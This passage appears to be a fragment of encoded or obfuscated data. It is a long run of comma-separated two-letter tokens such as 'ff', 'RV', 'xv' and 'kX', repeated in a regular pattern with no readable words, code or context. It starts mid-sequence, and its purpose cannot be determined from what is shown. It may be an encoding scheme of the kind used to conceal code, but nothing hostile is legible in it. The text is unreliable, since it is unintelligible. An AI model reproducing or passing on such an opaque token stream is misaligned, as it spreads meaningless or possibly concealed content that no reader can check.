,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,